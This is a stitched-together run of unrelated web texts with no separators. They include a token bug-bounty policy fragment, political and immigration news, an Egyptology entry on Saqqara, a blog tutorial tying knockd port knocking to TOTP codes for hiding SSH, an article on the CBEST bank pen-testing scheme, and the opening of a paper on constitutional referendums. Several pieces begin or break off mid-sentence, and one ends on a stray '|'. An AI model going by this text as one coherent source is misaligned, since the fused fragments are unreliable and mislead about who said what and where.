Being able to obtain OAX from someone without their permission
Bugs that allow the owner to lose control of the smart contract during the token sale period
Bugs causing a transaction to be sent that was different from what a user confirmed: for example, a user transfers 10 OAX but exactly 10 wasn’t transferred.
Submission deadline
The bug bounty ends on the 21st June, 2017.
Responsible Disclosure Policy
If you comply with the policies below when reporting a security issue to us, we will not initiate a lawsuit or law enforcement investigation against you in response to your report.
We ask that:
You give us reasonable time to investigate and mitigate an issue you report before making public any information about the report or sharing such information with others.
You make a good faith effort to avoid privacy violations and disruptions to others, including (but not limited to) destruction of data and interruption or degradation of our services.
You do not exploit a security issue you discover for any reason. (This includes demonstrating additional risk, such as attempted compromise of sensitive company data or probing for additional issues.)
You do not violate any other applicable laws or regulations.
Contact
Email your submissions to: bounty@openanx.org
Don’t forget to include your ETH address so you can be rewarded (If more than one address is specified, only one will be used at the discretion of the bounty program administrators).
Anonymous submissions welcome.
For questions use the slack here
Credits: This bounty program borrowed heavily from the gnosis bounty program design.What’s the craziest thing you’ve done sexually with an ex? When’s the last time you masturbated? If I was in a coma, how long would you wait for me?
These aren’t necessarily the kinds of questions you might pose to your significant other. And they’re probably not questions you’d want to answer in front of thousands of strangers.
But that’s exactly the position that a group of couples recently found themselves in when they sat down to play a round of “Truth or Drink.”
In a series of one-on-ones organized by Cut Video, a project of the Seattle-based creative agency Super Frog Saves Tokyo, the lovebirds were given a difficult choice: answer the awkward question being posed, or take a shot of alcohol -- potentially getting looser-tongued in the process.
The resulting conversations are totally hilarious, and often pretty adorable too.
Watch the game unfold in the Cut Video clip above.WASHINGTON ― The American Civil Liberties Union has slowed down the Trump administration’s plan to deport 114 Iraqis, most of them Christians, who were arrested in Michigan last weekend and were expected to face deportation starting Friday.
After the ACLU filed a class-action petition and a motion for a temporary restraining order on behalf of the Iraqis on Thursday, the government set a hearing for Wednesday afternoon and confirmed that deportations would not be allowed to begin until next Friday at the earliest, Rana Elmir, the deputy director of the ACLU of Michigan, told HuffPost.
At the hearing next Wednesday, the detainees will have a chance to tell a judge their fears about what they could face in the war-torn nation, including torture and violent religious persecution, and the judge will have the opportunity to halt the deportations pending further legal proceedings.
The rights group believes President Donald Trump’s move to begin the deportations was illegal.
“Not only is it immoral to send people to a country where they are likely to be violently persecuted, it expressly violates United States and international law and treaties,” said Kary Moss, the executive director of the ACLU of Michigan, in a Thursday afternoon statement.
“We are hoping that the courts will recognize the extreme danger that deportation to Iraq would pose for these individuals,” she added. “Our immigration policy shouldn’t amount to a death sentence for anyone.”
Marko Djurica/Reuters The remains of destroyed church are seen in the town of Qaraqosh, south of Mosul, Iraq, on April 13, 2017.
Activists and community members were startled by the weekend arrests because of Trump’s promises to protect Christians in the Middle East and prioritize Christian refugees. Many Iraqi Christians voted for Trump in Michigan ― a key state he won by only a few thousand votes.
Both the Obama and Trump administrations, along with Congress, have declared the persecution of Christians in Iraq a “genocide” ― suggesting the U.S. has some responsibility to help.
Advocates like Nathan Kalasho, an activist who runs a popular charter school in the area, discussed the feeling of betrayal but avoided drawing sectarian lines: “This is not just a Christian matter,” Kalasho told HuffPost on Wednesday.
Shiite Muslims and members of the small Yazidi community ISIS has targeted were among those arrested in Michigan and other states, the ACLU statement said.
The ACLU petition named seven individuals: five Christian Iraqis who were brought to the U.S. as children and two Shiite Muslims, one of whom arrived here as a refugee at age 19. It blasts ICE for holding the petitioners in Ohio, miles from their families.
Most members of the detained group entered the U.S. legally and then lost their legal status because of criminal convictions. Despite receiving removal orders, they remained in the United States because Iraq declined to issue travel documents for most Iraqis who received orders of deportation, the ACLU’s petition noted.
On March 12, however, Iraq agreed to start taking back more Iraqi nationals living in the U.S. so it could be dropped from the list of Muslim-majority countries affected by President Donald Trump’s travel ban. (The ban policy also invalidated Trump’s promise to help Middle East Christian refugees: Decreasing the overall intake of refugees would reduce the number of Christians allowed in.)
Our immigration policy shouldn’t amount to a death sentence for anyone. Kary Moss, ACLU of Michigan
ICE does not comment on pending litigation, press secretary Gillian Christensen told HuffPost in an email on Thursday. An earlier statement from ICE said the arrested individuals had already gone through court proceedings and that their previous criminal records posed a “very real public safety threat.”
But many of the detained people had their troubles with the law years ago, some for lower-level offenses, according to activists and the ACLU. Since then, they complied with their orders of supervision by periodically checking in with immigration authorities.
“Petitioners, Christian and Muslim alike, cannot be removed to Iraq without being afforded a process to determine whether, based on current conditions and circumstances, the danger they would face entitles them to protection from removal,” the petition read.
Activists say the Trump administration move should show the Middle East Christian community in Michigan and around the country that their hopes were misplaced.
“Every move [Trump has] made in the Middle East has been an unmitigated disaster for Christians in the region, and now he’s brought his ‘Midas touch’ to our community in Michigan,” Steve Oshana, executive director of A Demand For Action, which works on Middle Eastern Christian issues, wrote in a Thursday email.
Wisam Naoum, a volunteer attorney whose own parents came to the U.S. to escape conflict between Iraq and Iran, said the community now feels trapped between multiple threats.
“Since 2014, our community has been fighting [the Islamic State]. All of our resources have been going to our internally displaced people in the homeland, to galvanizing support for our militias, to getting a political solution,” Naoum told HuffPost on Wednesday. “And now in 2017, our war against ISIS has opened up into a two-front war: against ISIS and the Trump administration.”The U.S. might soon see two of its Cold War adversaries move closer to an agreement on joint missions to colonize Mars and the moon. Russia and China discussed expanding their cooperation to explore outer space, Russian Deputy Prime Minister Dmitry Rogozin told reporters Wednesday.
The lead officials for Chinese-Russian relations announced plans for joint space exploration last April, suggesting they might establish a Sino-Russian base on the moon. One year later, they’ve added Mars to the discussion.
“We’re developing an understanding for the rocket and space industry for possible interaction in such profound and technologically complex projects as the future exploration of the moon, Mars and piloted cosmonautics,” Mr. Rogozin said.
The Russian vice-premier made the announcement during a talk with the heads of Russian regions and Chinese provinces and the managers of companies from both nations in Yekaterinburg, Russia.
Mr. Rogozin said he and Chinese Vice-Premier Wang Yang discussed “cooperation in the nuclear sphere, and cooperation in the issues of interaction between our space agencies where there are such large projects.”
Last month, during Russian President Vladimir Putin’s visit to Beijing, the two countries signed a pact setting out legal framework for protecting their rights to sensitive space technologies in joint projects like launch vehicles and rocket engines.
This space-centered relationship first took off in 2014 when U.S.-led economic, financial, industrial and personnel sanctions pushed Moscow toward forming an alliance with Beijing. The Soviet Union helped pioneer space travel while China’s younger space program has sent 10 “taikonauts” into orbit in the past few years.
China is set to launch its second space station into orbit in September, though experts are worried about China’s first satellite: its decaying orbit suggests it may crash back down to earth in the next couple of years.
Meanwhile, Russia is developing a stealth bomber that can flying at hypersonic speeds, dropping nuclear bombs from space. According to the Kremlin, the the bomber is expected to take flight in 2020.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.This is a very detailed history book about the British Secret Services from the beginning in 1909 to 1949. The book stops at 1949 because some information and personnel are still classified. There is some detail about the successes and failures of various agents. This is a history book, not a novel so the actual conversation and detail of actions are not provided. What is provided is the official account of the agents actions and results - including deaths. For example at one point near the beginning of WWII they started working with the Russians and sent two British agents to Russia for eventual transportation to Sweden during the Summer. The Russian held them with until Winter and then dropped them off in Nazi controlled Norway with only their summer gear. They were caught tortured and killed. There is no account of the actual capture or interrogation.
One of the challenges of the book are the hundreds of individuals that are in the book. Since this is not a novel, there is no main character or Heroin or Hero. About a hundred pages into the book I was having trouble keeping track of all the people entering, exiting and re-entering the accounts of events. I started keeping a typed list of all the staff, agents, double agents and enemies detailed with rank, position and station. I am only about 3/4 through and my list is over 200 names long. All this being said this I still find this an interesting book. I do recommend this as an E-book and the list of names would not be necessary."Sakkara" redirects here. For other uses, see Sakkara (disambiguation)
Saqqara (Arabic: سقارة, Egyptian Arabic pronunciation: [sɑʔˈʔɑːɾɑ]), also spelled Sakkara or Saccara in English, is a vast, ancient burial ground in Egypt, serving as the necropolis for the Ancient Egyptian capital, Memphis.[1] Saqqara features numerous pyramids, including the world-famous Step pyramid of Djoser, sometimes referred to as the Step Tomb due to its rectangular base, as well as a number of mastabas (Arabic word meaning 'bench'). Located some 30 km (19 mi) south of modern-day Cairo, Saqqara covers an area of around 7 by 1.5 km (4.35 by 0.93 mi).
At Saqqara, the oldest complete stone building complex known in history was built: Djoser's step pyramid, built during the Third Dynasty. Another 16 Egyptian kings built pyramids at Saqqara, which are now in various states of preservation or dilapidation. High officials added private funeral monuments to this necropolis during the entire pharaonic period. It remained an important complex for non-royal burials and cult ceremonies for more than 3,000 years, well into Ptolemaic and Roman times.
North of the area known as Saqqara lies Abusir; south lies Dahshur. The area running from Giza to Dahshur has been used as a necropolis by the inhabitants of Memphis at different times, and it was designated as a World Heritage Site by UNESCO in 1979.[2] Some scholars believe that the name Saqqara is not derived from the ancient Egyptian funerary deity, Sokar, but supposedly, from a local Berber Tribe called Beni Saqqar.[3]
History [ edit ]
Early Dynastic [ edit ]
Map of the site
The earliest burials of nobles can be traced back to the First Dynasty, at the northern side of the Saqqara plateau. During this time, the royal burial ground was at Abydos. The first royal burials at Saqqara, comprising underground galleries, date to the Second Dynasty. The last Second Dynasty king, Khasekhemwy, was buried in his tomb at Abydos, but also built a funerary monument at Saqqara consisting of a large rectangular enclosure, known as Gisr el-Mudir. It probably inspired the monumental enclosure wall around the Step Pyramid complex. Djoser's funerary complex, built by the royal architect Imhotep, further comprises a large number of dummy buildings and a secondary mastaba (the so-called 'Southern Tomb'). French architect and Egyptologist Jean-Philippe Lauer spent the greater part of his life excavating and restoring Djoser's funerary complex.
Early Dynastic monuments [ edit ]
Funerary complex of Djoser
Old Kingdom [ edit ]
Nearly all Fourth Dynasty kings chose a different location for their pyramids. During the second half of the Old Kingdom, under the Fifth and Sixth Dynasties, Saqqara was again the royal burial ground. The Fifth and Sixth Dynasty pyramids are not built wholly of massive stone blocks, but instead with a core consisting of rubble. Consequently, they are less well preserved than the world-famous pyramids built by the Fourth Dynasty kings at Giza. Unas, the last ruler of the Fifth Dynasty, was the first king to adorn the chambers in his pyramid with Pyramid Texts. During the Old Kingdom, it was customary for courtiers to be buried in mastaba tombs close to the pyramid of their king. Thus, clusters of private tombs were formed in Saqqara around the pyramid complexes of Unas and Teti.
Old Kingdom monuments [ edit ]
First Intermediate Period monuments [ edit ]
Pyramid of king Ibi (Dynasty Eight)
Middle Kingdom [ edit ]
From the Middle Kingdom onward, Memphis was no longer the capital of the country, and kings built their funerary complexes elsewhere. Few private monuments from this period have been found at Saqqara.
Second Intermediate Period monuments [ edit ]
Pyramid of king Khendjer (Dynasty Thirteen)
Pyramid of an unknown king
New Kingdom [ edit ]
Lantern Slide Collection: Views, Objects: Egypt. - Apis Tombs, passage showing Sarcophagi Recess, Sakkara., n.d., Brooklyn Museum Archives
During the New Kingdom Memphis was an important administrative and military centre, being the capital after the Amaran Period. From the Eighteenth Dynasty onward many high officials built tombs at Saqqara. While still a general, Horemheb built a large tomb here, although he later was buried as pharaoh in the Valley of the Kings at Thebes. Other important tombs belong to the vizier Aperel, the vizier Neferrenpet, the artist Thutmose, and the wet-nurse of Tutankhamun, Maia.
Many monuments from earlier periods were still standing, but dilapidated by this period. Prince Khaemweset, son of Pharaoh Ramesses II, made repairs to buildings at Saqqara. Among other things, he restored the Pyramid of Unas and added an inscription to its south face to commemorate the restoration. He enlarged the Serapeum, the burial site of the mummified Apis bulls, and was later buried in the catacombs. The Serapeum, containing one undisturbed interment of an Apis bull and the tomb of Khaemweset, were rediscovered by the French Egyptologist Auguste Mariette in 1851.
New Kingdom monuments [ edit ]
Several clusters of tombs of high officials, among which the tombs of Horemheb and of Maya and Merit. Reliefs and statues from these two tombs are on display in the National Museum of Antiquities at Leiden, the Netherlands, and in the British Museum, London.
After the New Kingdom [ edit ]
During the periods after the New Kingdom, when several cities in the Delta served as capital of Egypt, Saqqara remained in use as a burial ground for nobles. Moreover, the area became an important destination for pilgrims to a number of cult centres. Activities sprang up around the Serapeum, and extensive underground galleries were cut into the rock as burial sites for large numbers of mummified ibises, baboons, cats, dogs, and falcons.
Monuments of the Late Period, the Graeco-Roman and later periods [ edit ]
Site looting during 2011 protests [ edit ]
Saqqara and the surrounding areas of Abusir and Dahshur suffered damage by looters during the 2011 Egyptian protests. Store rooms were broken into, but the monuments were mostly unharmed.[4][5]
Recent Discoveries [ edit ]
During routine excavations in 2011 at the dog catacomb in Saqqara necropolis, an excavation team led by Salima Ikram, and an international team of researchers led by Paul Nicholson of Cardiff University, uncovered almost eight million animal mummies at the burial site. It is thought that the mummified animals, half of which were birds, although a great many were dogs as well, were possibly intended to pass on the prayers of their owners to their deities.[6]
In July 2018, researchers discovered an extremely rare gilded burial mask. The last time a similar mask was found, was in 1939.[7] In November, 2018, seven ancient Egyptian tombs were located at the ancient necropolis of Saqqara, with a collection of scarab and cat mummies, dating back to the Fifth and Sixth Dynasties.[8]
In mid-December 2018 the Egyptian government announced the discovery at Saqqara of a previously unknown 4,400-year-old tomb, containing paintings and more than fifty sculptures. It belongs to Wahtye, a high-ranking priest who served under King Neferirkare Kakai during the Fifth Dynasty.[9] The tomb also contains five shafts that may lead to a sarcophagus below.[10]
See also [ edit ]Knockd with Temporary Ports
Kaveh Mousavi Zamani Blocked Unblock Follow Following Dec 21, 2016
When it comes to ssh and server security, whatever you do, you should still be worried of not doing enough.
First, you need to search and follow the best practice to config your ssh server. You will do changes like key-only login, no root login,... List is long and you can google for “best practice ssh config”
Second, go and find a 2FA solution to add to your ssh login. There are 3rd parties like Duo Security or free tools like “libpam-google-authenticator”. Pick one and don’t ignore it. Like every other service on the web, no secure key alone is trustable for login to your valuable server.
If you did those previous steps then think about closing that damn 22 port altogether. There you need a tool like knockd.
knockd is a simple tool that you can use to knock on your server door with a defined pattern. It will open port 22 for your current IP for few seconds just to login.
To see how to set it up look at the following link because I wont be able to explain it better:
https://www.digitalocean.com/community/tutorials/how-to-use-port-knocking-to-hide-your-ssh-daemon-from-attackers-on-ubuntu
But then comes a time that you think even that knock setup is not good enough. You want to have unpredictable patterns for knocking but still something easy to manage and share in the team.
For that you can mix the knock idea with 2FA. If you look at your google or github 2fa on your phone (I hope you had set them up already!) you will see a set of number.
You can use those numbers as your temporary ports for knockd.
Setup is simple.
You need a code and a tool to generate your numbers. For example if you have GNU/Linux somewhere:
$ apt-get install libpam-google-authenticator oathtool
$ google-authenticator
....
Do you want authentication tokens to be time-based (y/n) y
https://www.google.com/chart?chs=200x200&chld=M|0&cht=qr&chl=otpauth://totp/root@ferengi%3Fsecret%3DAXOW3WXVNBL4ITF6
Your new secret key is: AXOW3WXVNBL4ITF6
Your verification code is 724344
Your emergency scratch codes are:
94157892
41829299
32815409
76467746
20847928
From that step what you need is that “AXOW3WXVNBL4ITF6” and if you like scan the QR in your 2FA app (Authy or Google Authenticator).
Now try this:
$ CODE=AXOW3WXVNBL4ITF6
$ oathtool --base32 --totp "$CODE" -d 8|sed -e's/\(....\)\(....\)/\1,\2/g'
6049,3131
You have two usable ports that will change every 30 seconds.
From here you just need to setup your knockd in a way that its config changes every 30 seconds to reflect the new codes
#!/bin/bash
write_knockd_conf() {
cat <<EOF > /etc/knockd.conf
[options]
UseSyslog
[SSH]
sequence = $1
tcpflags = syn
seq_timeout = 15
start_command = /sbin/iptables -I INPUT 1 -s %IP% -p tcp --dport 22 -j ACCEPT
cmd_timeout = 10
stop_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
EOF
}
while true
do
EPOCH=$(date +%s)
if [ $(($EPOCH % 30)) == "0" ]
then
echo $EPOCH
CODE=$(cat secret.code)
SEQ=$(oathtool --base32 --totp "$CODE" -d 8|sed -e's/\(....\)\(....\)/\1,\2/g')
write_knockd_conf $SEQ
service knockd reload
fi
sleep 1
done
Now to open the port just write an script to generate those numbers for you and use knockd client to knock on your server door.
$ knockd -v example.org $(oathtool --base32 --totp "$CODE" -d 8|sed -e's/\(....\)\(....\)/\1 \2/g')
That is the concept. You still need to do a much better job to make sure script is correctly setup and monitored in your server.
Also if you need to have more than two ports for your sequence you can generate more codes and use them together to setup your knockd.
Stay safeChris Collins was named the Northwestern men's basketball coach Wednesday night.
Collins, the son of Philadelphia 76ers coach Doug Collins, has been an assistant to Duke coach Mike Krzyzewski since 2000. This will be his first head coaching position.
Collins replaces Bill Carmody, who was fired on March 16 after 13 years without an NCAA tournament berth. The Wildcats never have been to the NCAA tournament.
"We're thrilled to welcome Chris, his wife, Kim, and their children, Ryan and Kate, home to Chicago and into the Northwestern family," Northwestern athletic director Jim Phillips said in a statement. "He has a tremendous pedigree as a basketball coach and will be an outstanding leader for Chicago's Big Ten Team, and mentor for our student-athletes. After a thorough and comprehensive search process, there is no doubt he is a perfect fit for this institution and our men's basketball program."
Collins grew up in nearby Northbrook, Ill., and attended Glenbrook North High School, where he was named Illinois' Mr. Basketball. He played for Krzyzewski at Duke from 1993-96.
Collins said he was excited to return to the Chicago area and lead Northwestern's program.
"I'm so grateful to President (Morton) Schapiro, Chairman (William) Osborn and Dr. Phillips for the opportunity to lead the men's basketball program at one of the premier universities in the world, to compete in the Big Ten Conference, and to do so in my hometown," Collins said in a statement. "Northwestern University is a special place that strives for excellence in every regard, and our program will be no different. I can't possibly thank Coach Krzyzewski and Duke University enough for preparing me for this day."Story highlights "No, I don't plan to," Hogan said when asked whether he would vote for Trump in November
Hogan is at least the second sitting Republican governor to publicly state he will not vote for Trump
(CNN) Republican Gov. Larry Hogan of Maryland said Wednesday that he "doesn't plan" to vote for Donald Trump, his party's presumptive nominee for President.
Hogan has been critical of Trump but had not previously said outright that he will not vote for the Republican nominee in November.
"No, I don't plan to," Hogan said when asked whether he would vote for Trump in November, The Washington Post reported
Hogan said he was "not sure" who he would vote for instead of Trump.
"I guess when I get behind the curtain I'll have to figure it out. Maybe write someone in. I'm not sure," he said.
Read MoreLondon terrorist attended 'Muslim gym'
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London Bridge terrorist Khuram Butt worked out at a gym ‘for Muslims’ where women exercise in segregated classes.
Ummah Fitness Centre in Ilford, where a monthly membership will set you back £15, runs separate fitness classes for men and women.
It is reportedly run by Sajeel Shahid, who is said to have ties to the extremist preacher Anjem Choudary.
It would appear women are allowed to take part in segregated cardio classes most mornings, while men get to hone their fighting skills in the afternoon.
The gym offers wing chun martial arts sessions, run by Brother Yusuf, and taekwondo MMA, led by Master Khan – it also runs a class called “the insanity workout”.
There are also boxing and cross fit classes.
Ummah means “the whole community of Muslims bound together by ties of religion” and the gym itself is located above a shop called Quality Fish Bazar on St Luke’s Avenue – Westmonster contacted a nearby shop and a worker confirmed it was a gym “for Muslims”.
There are Islamic scriptures visible on the walls of the gym, and on the website there are quotes saying: “A strong believer is better and more beloved to Allah than a weak believer.”
There is another slogan on the site reading: “After yaqeen (certainty) one is granted nothing better than health” – that is a direct quote from Islamic scholar al-Tirmidhi.
A review on Facebook describes it as “a great halal environment to work out”.
Butt went two or three times a week and was “very friendly”, according to an employee.Professor Ross Anderson by RUSI/Flickr
Experts at Cambridge University are concerned that a new “penetration testing” scheme aimed at checking how secure banks are from criminal cyber attacks could be hijacked by intelligence agencies for their spying agenda.
The Foundation for Information Policy Research think tank has told MPs they should be worried about some of the effects of CBEST, a testing regime launched by the Bank of England nine months ago.
The scheme, which was set up after the Bank’s financial policy committee criticised the industry’s approach to cybersecurity, was designed to make IT systems more robust.
However, the think tank, which is led by Ross Anderson, professor of information security at Cambridge, believes the likes of GCHQ could be exploiting weaknesses found in the tests for their own means.
The worries centre not only on the role of GCHQ’s information security arm in vetting the small number of companies carrying out the tests, but also on the suspected employment of former GCHQ staff by the testing firms.
The concerns were outlined in written evidence to Parliament’s Joint Committee on National Security Strategy late last year, and came after documents leaked by US National Security Agency whistleblower Edward Snowden showed that secret services were monitoring international banking and credit card transactions in 2010.
Under the CBEST scheme, banks and other financial services institutions are invited by the Bank of England to pay up to £100,000 for an assessment that includes their ability to withstand simulated hack attacks.
The penetration tests are conducted by security firms vetted and approved by CREST, an industry body whose examinations and processes are overseen by the information security arm of GCHQ, CESG.
Threat intelligence
First a “threat intelligence report” is produced by an approved firm, based partly on real-life past attacks and other information supplied by GCHQ.
The bank to be assessed then meets with the Bank of England, the threat intelligence provider company, GCHQ, and an approved penetration testing company.
Together they discuss how to develop a simulated attack based on the threat intelligence report. The penetration testing company then carries out the “attack”.
The results are shared with the Bank of England. The Bank has declined to say whether the findings are also passed on to the intelligence agencies.
The FIPR think tank told Parliament that the secret services were putting “pressure [on] banks to hire former intelligence agency staff and CESG-approved security consultants to do penetration testing”.
FIPR’s evidence to the committee added that as a result “the agencies not only learn a lot more than they perhaps need to about financial systems’ vulnerabilities, but a clique of their former staff establish unjust market power in security consultancy.”
It continued: “There is a clash of incentives: for example, ‘security’ means different things for a bank and a bank customer. Their goals are in conflict, and the proper government body to arbitrate them is not an intelligence agency but a financial regulator or a court of law.
“There is also a clash of cultures: the missions of ‘national security’ and consumer protection are also in conflict, as the latter requires openness.
“Even national security itself may be compromised. Will agency staff be motivated to reduce risks, or merely to maximise compliance?”
As well as Prof Anderson, other FIPR trustees include Cambridge security researcher Richard Clayton and Nicholas Bohm, a retired solicitor and guest lecturer at the university.
Clayton told the Bureau: “We are concerned that the agencies, and their former staff, may put agency interests above those of the banks and their customers.”
He conceded his organisation had no hard evidence the test findings would be used by GCHQ, but added: “If you want security systems that will work into the far future, it is not a good idea to build in structures that will serve other people’s interests.”
He also pointed out that if banks are all receiving advice from the same small group of people and making the same adjustments to their security systems, then there is a risk that common vulnerabilities will remain.
“We would like to see more variation in the way that banks handle security. Restricting pen testers to a small number of firms does not seem a good way of achieving that.”
Allegation denied
Brian Lord, managing director of PGI Cyber and former deputy director of GCHQ’s intelligence and cyber operations said FIPR’s suggestion that the CBEST programme could be “a backdoor” exploited by GCHQ was unfounded.
“In my experience of GCHQ, it simply does not behave in that way – the culture, ethics and governance safeguards are too strong,” he said. He said encouraging experts with commercial backgrounds to work closely with those who had agency experience was the most productive way forward. He said the quality of the industry advice could be undermined if “unfounded suspicion” were to fall on ex-agents, leading to a reluctance to employ them. Lord also criticised the suggestion that commercial staff accredited under procedures approved by GCHQ’s information assurance arm, CESG, had an operational relationship with the agency. “I employ a number of CESG-accredited staff from all backgrounds who have nothing to do with the agency,” he said. However Lord did agree with Clayton’s view that rigidity of CBEST may not be the best way to improve banks’ cybersecurity in the long term. He said: “Enforced systems and processes can tend to lead to box ticking and do not evolve at the same speed as the threats – the banks may be left with the false sense that they are safe once they have done the testing. It may also lead to a risk of dilution of the banks’ own responsibility.” At the same time, the CREST-CESG process is too rigid, he argued.
He said: “Speaking as a CREST member, CREST are setting rules that, while admirably robust, can only be met by a small group of its members. The result is a closed market that is very difficult for others to penetrate and will lead to a lack of informed innovation and agility in the testing regime.”
Four companies approved
To date, according to the CREST website, four firms have been approved as penetration testing providers under the CBEST: Context Information Security, MWR Infosecurity, Nettitude and Portcullis Computer Security.
Context Information Security which has an office in Cheltenham, where GCHQ is based, has the most obvious links to the intelligence agencies. It is owned by Babcock International, a major player in the defence engineering field. Former GCHQ director Sir David Omand is Babcock’s “senior independent director”.
A post on the company’s website about cyber attacks on the financial sector discusses “state-sponsored attack groups” motivated by “traditional intelligence gathering for national security related purposes”.
It adds: “While there are often legal frameworks allowing this access and analysis, in situations where this may not be possible through the usual law enforcement means the arts of cyber espionage may be leveraged.”
When asked whether the UK government might also be conducting cyber espionage on UK banks, Context declined to respond. It also declined to comment on FIPR’s statement about CBEST or to confirm whether or |
. Rather, there was a particularly speedy ride to Times Square and a station struggling to get by. On one hand, it doesn’t feel like a New York City subway stop; it’s too new and clean and bright and airy. But on the other hand, it feels very much like a New York City subway stop. The bathrooms, for instance, seem permanently in a state of never opening, and scenes from the station betray some of the reasons why subways arrived first in September of 2015 rather than December of 2013.
I’ll let these pictures, with a little bit of commentary, tell the full story.
One of the quirks/flaws of the Hudson Yards station is its lack of staircases. Since the platforms are so deep, the only ways to get from the fare payment level to the mezzanine above the platform involve either five escalators or two inclined elevators. On Saturday (and for some time now), these have been reduced to one down escalator, two up escalators and the inclined elevators because some of the escalators — a sticking point in getting the station open in the first — have been out of service. And when are these expected back in service? Well, take a look at the next photo.
According to the MTA’s website, one of these escalators has been out of service since February 7 and the other since February 24. It’s not clear when either or both will be back in service, and that sign doesn’t give me much hope for a speedy repair. It’s somewhat mind-boggling that the MTA is struggling with a technology as commonplace as an escalator, and the lack of stairs to the mezzanine level now feels like a glaring omission.
Meanwhile, on that mezzanine level, an industrial fan sitting in front of a wall panel that simply says “water” and hides a bunch of water pipes is hard at work attempting to dry a leak from said water pipes. The water intrusion as this station isn’t nearly as bad as it was at the new South Ferry stop, but water from the cooling system dripped through earlier this winter in enough places to cause indoor icicles. Here, a temporary leak seemed to be plaguing the station, but a leak six months in is worrying enough.
In the grand scheme of the Hudson Yards station, these aren’t major problems that affect, say, the structural integrity of the station, but they are issues indicative of the MTA’s struggles with megaprojects. They are why Brooklyn residents don’t trust the MTA on its ducking and dodging on the L train repairs, and they are why Upper East Siders, while anticipating the Second Ave. Subway, are worried the same problems that delayed the 7 line will plague those three and a half new stops in a few months as opening day ticks nearer. Either way, it’s not a good look for the MTA.Hillary Clinton: "Fake News Epidemic" Is a Danger to the American Public
The former Democratic nominee railed on the spread of propaganda on social media during a post-election speech.
Hillary Clinton made a rare post-election public appearance Thursday night to warn about the spread of “epidemic of malicious fake news and false propaganda,” which she claimed is a danger to the American public.
“It’s now clear that so-called fake news can have real-world consequences,” the former First Lady said at a tribute dinner for Sen. Harry Reid, who is retiring after three decades in Congress. “This isn’t about politics or partisanship. Lives are at risk, lives of ordinary people just trying to go about their days, to do their jobs, contribute to their communities. It’s a danger that must be addressed and addressed quickly.”
Although she never mentioned the incident by name, Clinton’s comments were likely in reference to a shooting that took place at Comet Ping Pong, a popular Washington D.C. pizzeria frequented by former Clinton campaign manager John Podesta.
News broke in November, just days before the election, that the FBI would be reviewing new details related to its investigation of Clinton’s use of a private email server while Secretary of State. State department emails were discovered on the laptop of chief Clinton aide Huma Abedin’s estranged husband Anthony Weiner, the former Congressman who is alleged to exchanged text messages of a sexual nature with an underage girl.
Following those revelations, false reports spread on social media that Podesta is using Comet Ping Pong as a front for an underage sex ring. The business reportedly received hundreds of calls from disgusted conservatives who read the conspiracy theory on fake news sites.
One reader, however, took his outrage even further. He showed up to Comet Ping Pong with two shotguns in hand, telling police that he was conducting a “self investigation” of the family-friendly establishment. The man fired multiple shots during a standoff with local authorities before surrendering his weapons when he learned that the stories were false.
Other restaurants in the area have received similar threats.
Besta Pizza, a neighboring fast food chain, has been accused of hosting underage sex parties in the store. Dozens of callers even claimed that the restaurant’s logo, which is an image of two yellow pizza slices stacked on top of one another, is actually a symbol for pedophilia.
Abdel Hammad, who owns the business, told Washington D.C.’s WAMU that his life has been threatened in retaliation.
“We’ve been getting threats,” he said. “Somebody’s going to come and blow my brains, and they’re going to come with guns and they’re going to put us out of business. They’re even jamming our phone lines by calling us constantly. So it’s been really getting bad.
Hammad said that he voted for Trump, but these incidents have made him regret that decision.
“As an immigrant, I came here a long time ago, and this is not the America that I saw the first time when I came in — the opportunities, the work, everybody working in harmony,” the owner claimed. “The least mistake that I make, it feels like the whole world is stumbling down on my business, trying to put me out of business.”
In her Thursday address, Clinton called on both the public and private sectors to take action and help prevent more citizens from being victimized.
“Bipartisan legislation is making its way through Congress to boost the government’s response to foreign propaganda, and Silicon Valley is starting to grapple with the challenge and threat of fake news,” she said. “It’s imperative that leaders … step up to protect our democracy and innocent lives.”
The former Secretary of State understands firsthand the threat of digital propaganda. A BuzzFeed report found that during the election, fake news stories were more likely than reputable sources to go viral on social media. These false accounts claimed, for instance, that WikiLeaks documents showed Clinton had sold ammunitions to ISIS and that Pope Francis endorsed Donald Trump.
Further investigation showed that fake news stories were twice as likely to be biased toward the Republican candidate as toward the Democratic ticket.
Clinton acknowledged during her speech, which was also attended by Vice President Joe Biden, that these were unusual circumstances under which to address Washington, as well as the American public. But the former White House hopeful claimed that doing so was imperative to the health of nation’s democracy, as well as our safety.
“This is not exactly the speech at the Capitol I hoped to be giving after the election,” she said. “After a few weeks of taking selfies in the woods, I thought it would be a good idea to come out.”The paper addresses the divergence in majority rules at the moment of creating or reforming constitutions. While constitutions require, in most cases, qualified majorities in order to be approved at the constitutional assembly, they normally require only simple majorities to be ratified at the referendum. We analyze the set of conditions under which each majority rule is preferable for constitutional referendums. We argue that the simple majority requirement for referendums in constitution‐making, which is nearly universally used, lacks a clear theoretical justification. Qualified majority rules increase legitimacy and provide additional checks on the drafters. We further highlight when simple majority rules have advantages: when decision‐making costs in the referendum are high. Thereafter, we present an evaluation mechanism to identify the cases in which each majority rule should be used to increase stability and legitimacy. We then apply this evaluation mechanism to the constitution‐making processes in Poland, Bolivia and Egypt, which are three examples of diverging majority rules.
I Introduction Making a new constitution is often seen as an essential step for a new‐founded country or a regime change. While preferences and past experiences are important determinants of the new constitution, the process of drafting and ratifying it plays a key role. For this process, broad‐based public involvement is considered beneficial. This idea has been discussed at length in the legal literature (see, for example, Samuels, 2006, p. 670; Banks, 2008, pp. 1048‐1050; Carey, 2009, pp. 156‐157) and can also be found in the concept of constitutional moments, in which citizens are particularly attentive and which differ from times of normal law‐making (Ackerman, 1991, pp. 6‐7). The typical means of public participation to ratify the document are referendums. A number of studies argue that popular participation increases the legitimacy of a constitution (Elster, 1993, p. 179; Samuels and Wyeth, 2006, p. 3). Besides increasing legitimacy, participation also places constraints on the drafters (Ginsburg, Elkins and Blount, 2009, p.206). Moreover, a participatory constitution‐making process increases the stability of a newly carved document. Empirical evidence suggests that inclusive processes (such as referendums) have a positive impact on the lifespan of constitutions (Elkins, Ginsburg and Melton, 2009, p. 139). Stability is especially important for new constitutions drafted in turbulent times—which is by no means a rare occurrence. 1 When a country undergoes a political regime change, a new constitution is one of the typical demands. A recent example of this can be found in the process of constitution‐making that followed the Arab Spring in Egypt, Tunisia and Libya. One challenge for constitution‐making, particularly in those post‐conflict settings, is the inclusion of all important societal groups, factions and ethnicities into the process. When a country 